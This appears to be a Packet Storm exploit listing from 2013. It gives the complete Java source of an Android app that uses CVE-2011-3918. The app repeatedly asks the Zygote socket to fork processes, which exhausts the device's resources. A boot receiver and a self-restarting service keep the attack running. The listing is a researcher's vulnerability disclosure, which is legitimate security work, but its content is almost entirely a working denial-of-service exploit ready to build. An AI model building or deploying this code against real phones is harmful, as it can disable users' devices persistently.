Android Zygote Socket Fork Bomb

2013-10-14T00:00:00
ID PACKETSTORM:123599
Type packetstorm
Reporter Luca Verderame
Modified 2013-10-14T00:00:00

Description

                                        
                                            `################# BootReceiver.java ##################  
  
/**  
* Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918  
*  
* Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html  
*  
*  
* @author Luca Verderame <luca.verderame@unige.it>  
* @version 1.0  
*  
* Copyright 2012 Luca Verderame  
*  
* This file is part of ZygoteVulnerability.  
  
ZygoteVulnerability is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
ZygoteVulnerability is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with ZygoteVulnerability. If not, see <http://www.gnu.org/licenses/>.  
*  
*/  
  
  
  
package it.ailab;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.util.Log;  
  
public class BootReceiver extends BroadcastReceiver{  
  
@Override  
public void onReceive(Context context, Intent intent) {  
  
Log.d("BOOT","boot completed. starting service");  
Intent intentReceiver = new Intent();  
intentReceiver.setAction("it.ailab.ServiceDOS");  
context.startService(intentReceiver);  
}  
}  
  
  
################# ServiceDOS.java ##################  
  
  
/**  
* Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918  
*  
* Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html  
*  
*  
* @author Luca Verderame <luca.verderame@unige.it>  
* @version 1.0  
*  
* Copyright 2012 Luca Verderame  
*  
* This file is part of ZygoteVulnerability.  
  
ZygoteVulnerability is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
ZygoteVulnerability is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with ZygoteVulnerability. If not, see <http://www.gnu.org/licenses/>.  
*  
*/  
  
  
package it.ailab;  
  
  
import java.io.BufferedWriter;  
import java.io.DataInputStream;  
import java.io.IOException;  
import java.io.PrintWriter;  
  
import android.app.Service;  
import android.content.Intent;  
import android.net.LocalSocket;  
import android.net.LocalSocketAddress;  
import android.os.HandlerThread;  
import android.os.IBinder;  
import android.util.Log;  
  
public class ServiceDOS extends Service{  
  
SocketUtil socketUtil = null;  
  
public boolean connectToZygoteIfNeeded(){  
  
int retry = 0;  
while(((socketUtil == null) || (socketUtil.sZygoteSocket == null)) && retry < 20)  
{  
Log.d("SERV", "connection to socket needed");  
socketUtil = null;  
if (retry > 0) {  
try {  
Log.d("SERV", "Zygote not up yet, sleeping...");  
Thread.sleep(500);  
} catch (InterruptedException ex) {  
// should never happen  
}  
}  
//loading part..  
  
LocalSocket client = new LocalSocket();  
  
try {  
client.connect(new LocalSocketAddress("zygote",LocalSocketAddress.Namespace.RESERVED));  
} catch (IOException e1) {  
// TODO Auto-generated catch block  
Log.e("SERV","link client error");  
e1.printStackTrace();  
}  
  
if(client != null)  
{  
DataInputStream in = null;  
try {  
in = new DataInputStream(client.getInputStream());  
} catch (IOException e) {  
// TODO Auto-generated catch block  
e.printStackTrace();  
}  
PrintWriter p = null;  
try {  
p = new PrintWriter(client.getOutputStream());  
} catch (IOException e) {  
// TODO Auto-generated catch block  
e.printStackTrace();  
}  
BufferedWriter out = new BufferedWriter(p);  
socketUtil = new SocketUtil(client,in,out);  
Log.d("SERV", "socket connection completed");  
}  
retry++;  
} //fine while  
if(socketUtil != null)  
{  
if(retry > 0)  
Log.d("SERV", "socket connection completed");  
return true;  
}  
return false;  
}  
  
  
  
@Override  
public void onCreate() {  
// Start up the thread running the service. Note that we create a  
// separate thread because the service normally runs in the process's  
// main thread, which we don't want to block. We also make it  
// background priority so CPU-intensive work will not disrupt our UI.  
HandlerThread thread = new HandlerThread("ServiceDOS");  
thread.start();   
connectToZygoteIfNeeded();   
}  
  
@Override  
public IBinder onBind(Intent intent) {  
// TODO Auto-generated method stub  
onStartCommand(intent,0,0);  
return null;  
}  
  
@Override  
public int onStartCommand(Intent intent, int flags, int startId) {  
  
Log.d("SERV","onStart");  
final int uid = 123456;  
final int gid = 123456;  
final int[] gids = {};  
String[] extraArgs = null; //altrimenti null  
  
String className = "com.android.internal.util.WithFramework";  
//String className = "android.app.ActivityThread";  
  
int res = 0;  
int tr = 0;  
while(tr<10000)  
{  
//String niceName = "DummyProcess" + tr;  
  
connectToZygoteIfNeeded();  
try {  
res = socketUtil.startViaZygote(className,null,uid,gid,gids,0,extraArgs);  
} catch (Exception e) {  
// TODO Auto-generated catch block  
Log.e("SERV", "starting error");  
e.printStackTrace();  
}  
//Log.d("SERV", "risultato startViaZygote: " + res);  
Log.d("SERV", "started process #:" +tr);  
tr++;  
}//fine while  
  
//if whe return here -> restart!  
return START_STICKY;  
}  
  
@Override  
public void onDestroy (){  
socketUtil.clean();  
socketUtil = null;  
Log.d("SERV", "service destroyed! trying to restart...");  
Intent intent = new Intent(this, ServiceDOS.class);  
onStartCommand(intent,0,0);  
}  
  
}  
  
  
################# SocketAndroidActivity.java ##################  
  
/**  
* Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918  
*  
* Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html  
*  
*  
* @author Luca Verderame <luca.verderame@unige.it>  
* @version 1.0  
*  
* Copyright 2012 Luca Verderame  
*  
* This file is part of ZygoteVulnerability.  
  
ZygoteVulnerability is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
ZygoteVulnerability is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with ZygoteVulnerability. If not, see <http://www.gnu.org/licenses/>.  
*  
*/  
  
  
package it.ailab;  
  
  
import android.app.Activity;  
import android.content.Intent;  
import android.os.Bundle;  
import android.util.Log;  
  
public class SocketAndroidActivity extends Activity {  
/** Called when the activity is first created. */  
@Override  
public void onCreate(Bundle savedInstanceState) {  
super.onCreate(savedInstanceState);  
  
Log.d("APP","starting of the service");  
Intent intent = new Intent(this, ServiceDOS.class);  
startService(intent);  
Log.d("APP","service activated");  
this.finish();  
  
}  
}  
  
  
################# SocketUtil.java ##################  
  
  
/**  
* Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918  
*  
* Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html  
*  
*  
* @author Luca Verderame <luca.verderame@unige.it>  
* @version 1.0  
*  
* Copyright 2012 Luca Verderame  
*  
* This file is part of ZygoteVulnerability.  
  
ZygoteVulnerability is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
ZygoteVulnerability is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with ZygoteVulnerability. If not, see <http://www.gnu.org/licenses/>.  
*  
*/  
  
package it.ailab;  
  
import java.io.BufferedWriter;  
import java.io.DataInputStream;  
import java.io.IOException;  
import java.util.ArrayList;  
  
import android.net.LocalSocket;  
  
public class SocketUtil {  
  
static LocalSocket sZygoteSocket = null;  
static DataInputStream sZygoteInputStream = null;  
static BufferedWriter sZygoteWriter = null;  
  
/* versione unixDomainSocket  
static UnixDomainSocketClient sZygoteSocket = null;  
public SocketUtil(UnixDomainSocketClient c, DataInputStream i,BufferedWriter o)  
{  
sZygoteSocket = c;  
sZygoteInputStream = i;  
sZygoteWriter = o;  
}  
*/  
  
public void clean()  
{  
try {  
sZygoteSocket.close();  
sZygoteInputStream.close();  
sZygoteWriter.close();  
} catch (IOException e) {  
// TODO Auto-generated catch block  
e.printStackTrace();  
}  
sZygoteSocket = null;  
sZygoteWriter = null;  
sZygoteInputStream = null;  
}  
  
public SocketUtil(LocalSocket c, DataInputStream i,BufferedWriter o)  
{  
sZygoteSocket = c;  
sZygoteInputStream = i;  
sZygoteWriter = o;  
}  
  
/*  
* Starts a new process via the zygote mechanism.  
Parameters:  
processClass Class name whose static main() to run  
niceName 'nice' process name to appear in ps  
uid a POSIX uid that the new process should setuid() to  
gid a POSIX gid that the new process shuold setgid() to  
gids null-ok; a list of supplementary group IDs that the new process should setgroup() to.  
enableDebugger True if debugging should be enabled for this process.  
extraArgs Additional arguments to supply to the zygote process.  
Returns:  
PID  
Throws:  
Exception if process start failed for any reason  
*/  
  
public int startViaZygote(final String processClass,  
final String niceName,  
final int uid, final int gid,  
final int[] gids,  
int debugFlags,  
String[] extraArgs)  
throws Exception {  
int pid;  
  
synchronized(Process.class) {  
ArrayList<String> argsForZygote = new ArrayList<String>();  
  
// --runtime-init, --setuid=, --setgid=,  
// and --setgroups= must go first  
argsForZygote.add("--runtime-init");  
// argsForZygote.add("--setuid=" + uid);  
//argsForZygote.add("--setgid=" + gid);  
//argsForZygote.add("--classpath=:data:data:socketAndroid");  
//argsForZygote.add("data.data.android.socket.a.socket.DummyClass");  
  
//opzioni da sistemare eventualmente dopo & Zygote.DEBUG_ENABLE_SAFEMODE, & Zygote.DEBUG_ENABLE_DEBUGGER  
//& Zygote.DEBUG_ENABLE_CHECKJNI & Zygote.DEBUG_ENABLE_ASSERT  
if ((debugFlags ) != 0) {  
argsForZygote.add("--enable-safemode");  
}  
if ((debugFlags ) != 0) {  
argsForZygote.add("--enable-debugger");  
}  
if ((debugFlags ) != 0) {  
argsForZygote.add("--enable-checkjni");  
}  
if ((debugFlags ) != 0) {  
argsForZygote.add("--enable-assert");  
}  
  
//TODO optionally enable debuger  
//argsForZygote.add("--enable-debugger");  
  
/*  
// --setgroups is a comma-separated list  
if (gids != null && gids.length > 0) {  
StringBuilder sb = new StringBuilder();  
sb.append("--setgroups=");  
  
int sz = gids.length;  
for (int i = 0; i < sz; i++) {  
if (i != 0) {  
sb.append(',');  
}  
sb.append(gids[i]);  
}  
  
argsForZygote.add(sb.toString());  
}  
*/  
if (niceName != null) {  
argsForZygote.add("--nice-name=" + niceName);  
}  
  
argsForZygote.add(processClass);  
  
if (extraArgs != null) {  
for (String arg : extraArgs) {  
argsForZygote.add(arg);  
}  
}  
  
pid = zygoteSendArgsAndGetPid(argsForZygote);  
}  
  
if (pid <= 0) {  
throw new Exception("zygote start failed:" + pid);  
}  
  
return pid;  
}  
  
private static int zygoteSendArgsAndGetPid(ArrayList<String> args)  
throws Exception {  
  
int pid = 0;  
  
//openZygoteSocketIfNeeded();  
  
try {  
  
/*See com.android.internal.os.ZygoteInit.readArgumentList()  
Presently the wire format to the zygote process is:  
a) a count of arguments (argc, in essence)  
b) a number of newline-separated argument strings equal to count After the zygote process reads  
these it will write the pid of the child or -1 on failure.  
*/  
sZygoteWriter.write(Integer.toString(args.size()));  
sZygoteWriter.newLine();  
  
int sz = args.size();  
for (int i = 0; i < sz; i++) {  
String arg = args.get(i);  
if (arg.indexOf('\n') >= 0) {  
throw new Exception(  
"embedded newlines not allowed");  
}  
sZygoteWriter.write(arg);  
sZygoteWriter.newLine();  
}  
  
sZygoteWriter.flush();  
  
// Should there be a timeout on this?  
pid = sZygoteInputStream.readInt();  
  
if (pid < 0) {  
throw new Exception("fork() failed");  
}  
} catch (IOException ex) {  
if (sZygoteSocket != null) {  
sZygoteSocket.close();  
/*  
} catch (IOException ex2) {  
// we're going to fail anyway  
Log.e("app","I/O exception on routine close", ex2);  
}  
*/  
sZygoteSocket = null;  
  
throw new Exception(ex);  
}  
}  
  
return pid;  
}  
  
}  
  
`